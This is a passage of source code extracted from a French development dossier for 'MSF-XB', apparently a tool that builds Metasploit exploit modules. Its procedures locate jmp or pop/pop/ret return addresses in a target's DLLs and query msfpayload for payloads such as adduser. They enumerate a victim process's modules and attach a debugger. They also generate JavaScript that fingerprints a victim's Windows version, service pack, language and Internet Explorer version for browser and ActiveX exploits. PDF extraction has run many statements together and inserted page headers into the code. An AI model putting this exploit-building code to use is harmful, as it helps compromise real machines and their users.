//sMaCommande is string=Caract(34)+ComplèteRep(fRepEnCours())+"TOOLZ\Findjmp2.exe"+Caract(34)+" "+ sNomDLL +" "+ sRegistre +">"+ Caract(34)+ComplèteRep(fRepEnCours())+"TEMP\"+sNomDLL+".txt"+Caract(34)

//sMaCommande is string="Findjmp2.exe "+ sNomDLL +" "+ sRegistre +">"+ Caract(34)+ComplèteRep(fRepEnCours())+"TEMP\"+sNomDLL+".txt"+Caract(34)

sMaCommande is string=Caract(34)+ComplèteRep(fRepEnCours())+"TOOLZ\Findjmp2.exe"+Caract(34)+" "+ sNomDLL +" "+ sRegistre //+">"+sNomDLL+".txt"

sCheminDump is string=ComplèteRep(fRepEnCours())+"TEMP\"+sNomDLL+"_"+sRegistre+".txt"fSupprime( sCheminDump )

// si enmodetest() alors VersPressePapier(sMaCommande)

// MyDos:CommandLine_Let(smacommande) //+" "+Caract(34)+CheminDuDump+Caract(34))// MyDos:ExecuteCommand()

DDELance(sMaCommande,DDEInactif,Vrai) //,Caract(34)+ComplèteRep(fRepEnCours())+"TOOLZ\"+caract(34))Sablier(Faux)fCopieFichier("findjmp.txt", sCheminDump)SI fTaille(sCheminDump)>0 ALORS

Message("Dumpé dans "+sCheminDump)SI OuiNon("Ouvrir le fichier?") ALORS

LanceAppliAssociée(sCheminDump)FIN

FIN

//Pour le Design de l'exploit (ici on ne sait pas si on va utiliser un jmp ou un pop/pop/ret; mais on connait le registre)COMBO_RetType..Valeur= Lower(sRegistre)

Procédure locale fctInfoPayload// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctInfoPayload ()

Page 710: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 716

//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

PROCEDURE fctInfoPayload()

Message("Récupération d'informations sur le payload...")sMonPayload is string//On extrait le "nom" du payload// C:\Program Files\Metasploit\Framework3\framework\modules\payloads\singles\windows\adduser.rbsMonPayload = ExtraitChaîne(SC_SelecteurPayload.SAI_FIC, 1, "singles\",DepuisFin)//windows\adduser.rbsMonPayload = Remplace(sMonPayload, "\", "/")//windows/adduser.rbSI Droite(Upper(sMonPayload), 3) =".RB" ALORS

sMonPayload = Gauche(sMonPayload, Taille(sMonPayload)-3)FIN//windows/adduser

lpCmdLine is stringSI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path

lpCmdLine=Caract(34)+gsCheminMSF3+"bin\ruby"+Caract(34)+" "+Caract(34)+gsCheminMSF3+"home\framework\msfpayload"+Caract(34)+" "+sMonPayload+" S"SINON

lpCmdLine=Caract(34)+gsCheminMSF3+"bin\ruby"+Caract(34)+" "+Caract(34)+gsCheminMSF3+"framework\msfpayload"+Caract(34)+" "+sMonPayload+" S"FINSI EnModeTest() ALORS VersPressePapier(lpCmdLine)MyDos:CommandLine_Let(lpCmdLine)

//On récupère le résumé du payloadSC_RechercherRemplacerTXT1.SAI_Shellcode= MyDos:ExecuteCommand()

Message()

Procédure locale fctInfoProcessus// Résumé : <indiquez ici ce que fait la procédure>

Page 711: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 717

// Syntaxe ://fctInfoProcessus ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE fctInfoProcessus()

SI SAI_PROCESSUS<>"" ALORSnlCpt is int

SAI_APPLICATION=NoSpace( fExtraitChemin(SAI_PROCESSUS,fFichier) )

//On trouve le PID du processusSAI_PID= TROUVE_PID_PROCESSUS(fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension))

SI SAI_PID=0 ALORS

//SI OuiNon("Le programme ne tourne pas. Le lancer?") ALORSExécute("BTN_EXECUTE_PROCESS..clic") //NB: On exécutera TROUVE_PID

//FINSINON //Le programme tourne déjà

fctListeInfosProcessus()

//On liste les DLLs chargées par le processusTableSupprimeTout(TABLE_DLL_MEMOIRE)ListeAjoute(TABLE_DLL_MEMOIRE,ExeListeDLL(SAI_PID))SI PAS TABLE_DLL_MEMOIRE..Vide ALORS

TABLE_DLL_MEMOIRE..Visible=Vrai//Récupération d'informations sur les DLLs chargées par le processusnTemp is int=TableOccurrence(TABLE_DLL_MEMOIRE)

POUR nlCpt=1 A nTemp//On cherche le PID de chaque DLL chargée en mémoire par le processus// TABLE_DLL_MEMOIRE[nCpt][2] = TROUVE_PID_PROCESSUS( fExtraitChemin(TABLE_DLL_MEMOIRE[nCpt][1],fFichier+fExtension) )//Version de la DLLTABLE_DLL_MEMOIRE[nlCpt][3] = ExeInfo(exeVersion,TABLE_DLL_MEMOIRE[nlCpt][1])

FINFIN

Page 712: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 718

//On liste les DLLs trouvées dans le path de l'exécutableTableSupprimeTout(TABLE_DLL)fListeFichier(fExtraitChemin(SAI_PROCESSUS,fDisque+fRépertoire)+"*.DLL", "fctAjouteDllDansTable")

GR_INFO_PROCESS..Visible=VraiFIN

SI Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".OCX" OU Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".DLL" ALORS//On exploite un ActiveXCOMBO_PROTOCOLE = ListeCherche(COMBO_PROTOCOLE, "browser")RPORT=80

//On cherche son CLSIDSI SAI_CLSID="" ALORS

fctChercheCLSID()FINSAI_CLSID..Visible=VraiSAI_ProgID..Visible=Vrai

GR_HTTP..Visible=VraiSINON

GR_HTTP..Visible=Faux//On essaie de trouver le protocole correspondant à l'applinCpt=2nCptProtocole is int=ListeOccurrence(COMBO_PROTOCOLE)POUR nlCpt=2 A nCptProtocole

SI ChaîneOccurrence(Upper(SAI_PROCESSUS),Upper(COMBO_PROTOCOLE[nlCpt]))>0 ALORSCOMBO_PROTOCOLE=nlCptTANTQUE Upper(COMBO_PROTOCOLE..ValeurAffichée)<>"FTP" ET nCpt<ListeOccurrence(COMBO_PROTOCOLE)

COMBO_PROTOCOLE=nCptnCpt++

FINExécuteTraitement(COMBO_PROTOCOLE,trtSélection)

FINFIN

FIN

// nCpt=2// SI ChaîneOccurrence(Upper(SAI_PROCESSUS),"SMTP")>0 ALORS// COMBO_PROTOCOLE=1// TANTQUE Upper(COMBO_PROTOCOLE..ValeurAffichée)<>"SMTP" ET nCpt<ListeOccurrence(COMBO_PROTOCOLE)// COMBO_PROTOCOLE=nCpt// nCpt++// FIN// ExécuteTraitement(COMBO_PROTOCOLE,trtSélection)// FIN

Page 713: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 719

SI SAI_PID<>0 ALORSGR_LIST_OPCODES..Visible=Vrai

FINFIN

Procédure locale fctLanceDebugger// Résumé : <indiquez ici ce que fait la procédure>// Syntax://fctLanceDebugger ( [<nPID>])//// Parameters:// nPID (default value=0): <specify the role of nPID>// Return Value:// None//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE fctLanceDebugger(nPID=0)

SI OuiNon("Voulez-vous lancer votre débogueur?") ALORS// SI fTaille(Caract(34)+sCheminDebugger+Caract(34))=0 ALORSSI fTaille(sCheminDebugger)<=0 ALORS

Error("Débogueur non trouvé dans"+RC+ Caract(34)+sCheminDebugger+Caract(34) +RC+"modifiez le chemin DEBUGGER_PATH dans le fichier MSF-XB.INI")SINON

DDELance(Caract(34)+sCheminDebugger+Caract(34))SI nPID<>0 ALORS //Le processus à déboguer est lancé

Multitâche(300) //3s

//Récupère le handle de la fenêtrenResHandleFen est un entier système = SysFenHandle("OllyDbg - [CPU]")SI nResHandleFen>0 ALORS

EnvoieTouche("%F", nResHandleFen) //ALT+F - FileEnvoieTouche("{BAS}", nResHandleFen) //ALT+A - AttachEnvoieTouche("{ENTREE}", nResHandleFen)

SINONnResHandleFen = SysFenHandle("Immunity Debugger - [CPU]")SI nResHandleFen>0 ALORS

EnvoieTouche("%F", nResHandleFen) //ALT+F - FileEnvoieTouche("{BAS}", nResHandleFen) //ALT+A - AttachEnvoieTouche("{ENTREE}", nResHandleFen)

FIN

Page 714: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 720

FINFIN

FINFIN

Procédure locale fctListeDLLsMemoire// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctListeDLLsMemoire ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

PROCEDURE fctListeDLLsMemoire()

// //*********************************************************************************// //Remplissage manuel de la Table à cause de plantage avec Camstasia :-(// //*********************************************************************************////TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\ntdll.dll"+TAB+""+TAB+"5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"+TAB+"c37222da506eede6b5d38a97a251875a"+TAB+"ae8104d50e876692ad5c6d426dc6c0d423699e20")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\kernel32.dll"+TAB+""+TAB+"5.1.2600.2945 (xpsp_sp2_gdr.060704-2349)"+TAB+"ce4af1fa47a29adf97cb107775ce395c"+TAB+"9101e33663a168326921a0325e7fc0ed9c0f50e7")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\MPR.dll"+TAB+""+TAB+"5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"+TAB+"c87352151be195334d8a1c4c8f0afa86"+TAB+"0d18d369ec8891a17bad9f572124bd57aad260d7")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\ADVAPI32.dll"+TAB+""+TAB+"5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"+TAB+"8788ac79968a829a0b385e3b2f12d23e"+TAB+"95b8db9bba6280a05b1d4b37bb4bbd612cf03548")

Page 715: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 721

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\RPCRT4.dll"+TAB+""+TAB+"5.1.2600.2794 (xpsp_sp2_gdr.051110-1539)"+TAB+"2747e54704ccfd04511f89d28a8bec71"+TAB+"e8b895e989eba8517a4d1caee5edf9aba82ed4f3")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\USER32.dll"+TAB+""+TAB+"5.1.2600.3099 (xpsp_sp2_gdr.070308-0222)"+TAB+"753354f594809a9b96f73999b435a533"+TAB+"4821a71cad16b8bc10feaa77fa5f1fc82d5ad574")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\GDI32.dll"+TAB+""+TAB+"5.1.2600.3099 (xpsp_sp2_gdr.070308-0222)"+TAB+"6ea883db651ed610a284828b21ff2647"+TAB+"abc0a58431c3f4df3c35902d9e70ce90fd1392f0")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\MFC42.dll"+TAB+""+TAB+"6.02.4131.0"+TAB+"c7c1a8d54f109d868cc2b6130d0a3ecd"+TAB+"7d1a2d296861c5a3d74d9933599d0e190adb65c8")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\msvcrt.dll"+TAB+""+TAB+"7.0.2600.2180 (xpsp_sp2_rtm.040803-2158)"+TAB+"b89f48fdfd6c3312b92d5d633c23f075"+TAB+"15dc784d04041061490dc99c2a6f9075d7a18efc")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\comdlg32.dll"+TAB+""+TAB+"6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)"+TAB+"204dfa19f5925ef768402d55937975a7"+TAB+"cb639717a2458298f2f0395f89d90c57878489cb")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\SHLWAPI.dll"+TAB+""+TAB+"6.00.2900.3086 (xpsp_sp2_gdr.070218-2314)"+TAB+"ed6d3ceb53971ee8fc647fa7e9c044d2"+TAB+"f22f1ceb15b8a0ccb06fe7b4c41edb75969a5a26")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\COMCTL32.dll"+TAB+""+TAB+"5.82 (xpsp.060825-0040)"+TAB+"5bbcd65cfd7610f36bca96b72bbaed4b"+TAB+"56e3ff2f5c15896f5531cb3fa33701205ef56636")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\SHELL32.dll"+TAB+""+TAB+"6.00.2900.3051 (xpsp_sp2_gdr.061219-0316)"+TAB+"7643b816720069b4fcbd220e2555625e"+TAB+"af994ad6f949abcd894717105f372f25d9bba9ec")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\WSOCK32.dll"+TAB+""+TAB+"5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"+TAB+"2f267f8eb4d4014af223d62d94920aba"+TAB+"224b5dac0c62a9e30064692d09962c6e3070f02d")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\WS2_32.dll"+TAB+""+TAB+"5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"+TAB+"eed74b969b2ca1acc558ff60fb420e28"+TAB+"500849013552d91f3a0a3ac14c8e479e4ccf8922")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\WS2HELP.dll"+TAB+""+TAB+"5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"+TAB+"610eb6ee6e7e055c4d6a4fcb771befe8"+TAB+"6fd1e9d0e5e3978fb5645016488367c4dfac8bd3")

Page 716: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 722

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\ole32.dll"+TAB+""+TAB+"5.1.2600.2726 (xpsp_sp2_gdr.050725-1528)"+TAB+"1c43c758c54c768250107f4c5d7ca054"+TAB+"38deb06a8bad062f5105528c1d6e6871bd10cc97")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\WINMM.dll"+TAB+""+TAB+"5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"+TAB+"7b5ef1d68d488ff539432667ca4a87d0"+TAB+"a4f00749a10677d36a4f6beef916cdb731d75d84")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\MFC42LOC.dll"+TAB+""+TAB+"6.00.8665.0"+TAB+"38d376e5f2da4215327f29e7064fefc7"+TAB+"b99ed253639f42da7b7dac372521cdb22810d6c2")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03\comctl32.dll"+TAB+""+TAB+"6.0 (xpsp.060825-0040)"+TAB+"47abf878b9aec81b23ba5f89de597b3a"+TAB+"6ac80fe3c1ed6a48958e4c8ca18c1a558a96780a")//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\MSCTF.dll"+TAB+""+TAB+"5.1.2600.2575 (xpsp.041130-1728)"+TAB+"a211b231848695f6a7ae80eea3b9f588"+TAB+"852aa707a3d13e5ddc72e884ab92eb32415c9d30")

//TableAjoute(TABLE_DLL_MEMOIRE,"C:\WINDOWS\system32\OLEAUT32.dll"+TAB+""+TAB+"5.1.2600.2180"+TAB+"3f7af2d1b23e0874f70f7807c691e6e1"+TAB+"cf4ecf3c25541b7d4ddc237071cce19c8363c042")

////// //*********************************************************************************// retour// //*********************************************************************************

//sablier(vrai)//On liste les DLLs chargées par le processusTableSupprimeTout(TABLE_DLL_MEMOIRE)ListeAjoute(TABLE_DLL_MEMOIRE,ExeListeDLL(SAI_PID))SI PAS TABLE_DLL_MEMOIRE..Vide ALORS

TABLE_DLL_MEMOIRE..Visible=Vrai//Récupération d'informations sur les DLLs chargées par le processusnTemp is int=TableOccurrence(TABLE_DLL_MEMOIRE)nCompteur is intPOUR nCompteur=1 A nTemp

//On cherche le PID de chaque DLL chargée en mémoire par le processus// TABLE_DLL_MEMOIRE[nCpt][2] = TROUVE_PID_PROCESSUS( fExtraitChemin(TABLE_DLL_MEMOIRE[nCpt][1],fFichier+fExtension) )//Version de la DLLTABLE_DLL_MEMOIRE[nCompteur][3] = ExeInfo(exeVersion,TABLE_DLL_MEMOIRE[nCompteur][1])

//Récupération des checksums MD5 et SHA1 avec mycrc

Page 717: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 723

SI fTaille(ComplèteRep(fRepEnCours()) + "TOOLZ\mycrc.exe") >0 ALORSlpCmdLine is string=Caract(34)+ComplèteRep(fRepEnCours()) + "TOOLZ\mycrc.exe"+Caract(34)+" "+Caract(34)+TABLE_DLL_MEMOIRE[nCompteur][1]+Caract(34)

// info(lpCmdLine)MyDos:CommandLine_Let(lpCmdLine)

//On récupère la valeur de retoursValRetour is string=MyDos:ExecuteCommand()sValRetour=Remplace(sValRetour, RC, "")

//MD5:TABLE_DLL_MEMOIRE[nCompteur][4] = NoSpace( ExtraitChaîne(ExtraitChaîne(sValRetour, 2, "MD5"), 1, "SHA1") )//SHA1:TABLE_DLL_MEMOIRE[nCompteur][5] = NoSpace( ExtraitChaîne(sValRetour, 2, "SHA1") )

FINFIN

FIN//sablier(faux)

Procédure locale fctListeInfosProcessus// Résumé : <indiquez ici ce que fait la procédure>// Syntax://fctListeInfosProcessus ()//// Parameters:// None// Return Value:// None//// Exemple :// Indiquez ici un exemple d'utilisation.//// Automatic Procedure:// The procedure is run manually, during a call in the code// It will be run in a thread (without having to call ThreadExecute), without using Hyper File//

PROCEDURE fctListeInfosProcessus()

SAI_PROCESSUS_VERSION= Remplace(ExeInfo(exeVersion, SAI_PROCESSUS), ", ", ".")SAI_PROCESSUS_SOCIETE= ExeInfo(exeSociété, SAI_PROCESSUS)

SI SAI_APPLICATION="" ALORS SAI_APPLICATION=NoSpace( fExtraitChemin(SAI_PROCESSUS,fFichier) )

Procédure locale fctOS_DETECT

Page 718: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 724

// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://fctOS_DETECT ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE fctOS_DETECT()

//Détection du client par JavaScriptMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"<script language='javascript'>\n"+Caract(34)+RC//Par défaut:MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"var os = "+Caract(34)+"XP"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"var ossp = "+Caract(34)+"SP2"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"var oslg = "+Caract(34)+"English"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"var bw = "+Caract(34)+"MSIE 7.0"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"var bwsp = "+Caract(34)+"0"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"var ver = "+Caract(34)+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"ver += ScriptEngineMajorVersion();\n"+RC //5: IE5 ou IE6MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"ver += ScriptEngineMinorVersion();\n"+RC //1: IE5, 6: IE6MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"ver += ScriptEngineBuildVersion();\n"+RC //8831 : Windows XP SP2 (FR) IE6//5730 : Windows XP SP2 (US) IE7

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"if ( ver<568820 ){\n"+RC // return("+caract(34)+"preSP2"+caract(34)+"); }\n"+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"switch (ver){\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"case 514615:\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"os="+Caract(34)+"2000"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"ossp="+Caract(34)+"SP0"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"break;\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"case 518513:\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"os="+Caract(34)+"2000"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"ossp="+Caract(34)+"SP4"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"break;\n"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"default:\n"+RC//// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"break;\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"}\n"+RC //Fin du switch

Page 719: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 725

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"}\n"+RC //Fin du if

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"else{\n"+RC// if ( ver<575730 ){ return("+Caract(34)+"SP2"+Caract(34)+"); }\n"+RCMSFXB_Editor.EXPLOIT_CODE+=RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"}\n"+RC //Fin du else// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"else return (0);\n"+RCMSFXB_Editor.EXPLOIT_CODE+=RC

//Détection de la langue du systèmeMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"ver = navigator.systemLanguage;\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"switch (ver){\n"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"case "+caract(34)+"en-us"+caract(34)+":\n"+RC //Valeur par défaut// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"var oslg = "+Caract(34)+"English"+Caract(34)+";\n"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"break;\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"case "+Caract(34)+"fr"+Caract(34)+":\n"+RC //Valeur par défautMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"var oslg = "+Caract(34)+"French"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"break;\n"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"default:\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"}\n"+RC //Fin du switchMSFXB_Editor.EXPLOIT_CODE+=RC

//Détection de la version d'IEMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"ver = navigator.userAgent;\n"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"var res= ver.search(/MSIE 7.0/);\n"+RC //!!! res (re)déclarée plus bas// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"if (res != -1){ bw = "+Caract(34)+"MSIE 7.0"+Caract(34)+";}\n"+RC//Valeur par défaut// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"else{\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"var res= ver.search(/MSIE 6.0/);\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"if (res != -1){ bw = "+Caract(34)+"MSIE 6.0"+Caract(34)+";}\n"+RC //Valeur par défaut// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"}\n"+RC //Fin du elseMSFXB_Editor.EXPLOIT_CODE+=RC

//Détection du Service Pack d'IEMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"ver = navigator.appMinorVersion;\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"switch (ver){\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"case "+Caract(34)+"SP2"+Caract(34)+":\n"+RC //SP2 -> IE6 ou IE5MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"var bwsp = "+Caract(34)+"2"+Caract(34)+";\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+TAB+Caract(34)+"break;\n"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+TAB+Caract(34)+"}\n"+RC //Fin du switchMSFXB_Editor.EXPLOIT_CODE+=RC

//DEBUGMSFXB_Editor.EXPLOIT_CODE+="document.write(os+' '+ossp+' '+oslg+' / '+bw+' '+bwsp);\n"+RC

Page 720: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 726

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"</script>\n"+Caract(34)+RCMSFXB_Editor.EXPLOIT_CODE+=RC

//http://actes.sstic.org/SSTIC06/Vulnerabilite_des_postes_clients/SSTIC06-Delalleau_Feil-Vulnerabilite_des_postes_clients.pdf//Code permettant de détecter la valeur du userAgent même si elle est filtrée par le proxy// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"# Retrieve the userAgent even if filtered by the proxy"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"<script language='javascript'>\n"+Caract(34)+RC //+" +"+RC//MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+Caract(34)+"document.write("+caract(34)+"<img src='/userAgent_"+caract(34)+" + navigator.userAgent + "+caract(34)+".jpg"+caract(34)+");\n"+RC

// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"</script>\n"+Caract(34)+RC// MSFXB_Editor.EXPLOIT_CODE+=RC//Autres valeurs intéressantes:// navigator.appMinorVersion// navigator.platform// navigator.cpuClass// navigator.oscpu// navigator.plugins// navigator.mimeTypes

